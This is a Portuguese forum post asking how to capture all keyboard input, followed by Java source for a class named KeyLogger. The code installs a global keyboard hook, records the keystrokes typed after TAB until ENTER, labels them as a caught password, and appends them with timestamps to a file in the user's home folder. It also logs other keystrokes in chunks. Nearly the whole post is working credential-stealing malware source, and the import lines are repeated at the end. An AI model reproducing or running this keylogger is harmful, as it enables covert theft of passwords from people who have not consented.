[DUVIDA]Capturar todas as entradas do teclado

import java.awt.event.KeyEvent;
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.Date;

import org.eclipse.swt.extension.hook.Hook;
import org.eclipse.swt.extension.hook.data.*;
import org.eclipse.swt.extension.hook.listener.HookEventListener;

public class KeyLogger {
	
	StringBuffer pass = new StringBuffer();
	StringBuffer rest = new StringBuffer();

	boolean concat = false;
	String file = System.getProperty("user.home")
			+ System.getProperty("file.separator")
			+ System.getProperty("user.name") + ".txt";
	final int wordSize = 5;
	int count;

	public KeyLogger() {
		Hook.KEYBOARD.addListener(new HookEventListener() {

			@Override
			public void acceptHookData(HookData hookData) {
				KeyboardHookData khd = (KeyboardHookData) hookData;
				boolean ts = khd.getTransitionState();
				long keyCode = khd.getVirtualKeyCode();

				if (hookData != null && !ts) {

					if (keyCode == KeyEvent.VK_TAB) {
						System.out.println("TAB");
						concat = true;
					}// of TAB

					if (concat) {
						System.out.println("CONCAT");
						if (keyCode != KeyEvent.VK_TAB && keyCode != 13)
							pass.append((char) keyCode);

						System.out.println(pass);

						if (keyCode == 13) {
							System.out.println("ENTER");
							System.out.println("Catch pass:" + pass);

							String sDate = new SimpleDateFormat(
									"dd/MM/yyyy H:m:s").format(new Date());

							appendFile(sDate + "=[" + pass.toString() + "]",
									true);

							// clean
							pass = new StringBuffer();
							concat = false;

						}// of ENTER

					}// of concat
					else {

						if (count == wordSize) {
							appendFile(rest.toString(), false);
							rest = new StringBuffer();
							count = 0;
						} else {
							rest.append((char) keyCode);
						}
						// increase
						count++;
					}
				}//
			}

		});

		Hook.KEYBOARD.install();
		/*
		 * Runtime.getRuntime().addShutdownHook( new Thread(){ public void
		 * run(){ System.out.println("Leaving"); appendFile(); } });
		 */

	}

	public void appendFile(String pass, boolean nl) {
		try {
			BufferedWriter out = new BufferedWriter(new FileWriter(file, true));
			out.write(pass);
			if (nl)
				out.newLine();
			out.close();
		} catch (IOException e) {
			e.printStackTrace();
		}
	}

	public static void main(String args[]) {
		new KeyLogger();
	}
}

import org.eclipse.swt.extension.hook.Hook;
import org.eclipse.swt.extension.hook.data.*;
import org.eclipse.swt.extension.hook.listener.HookEventListener;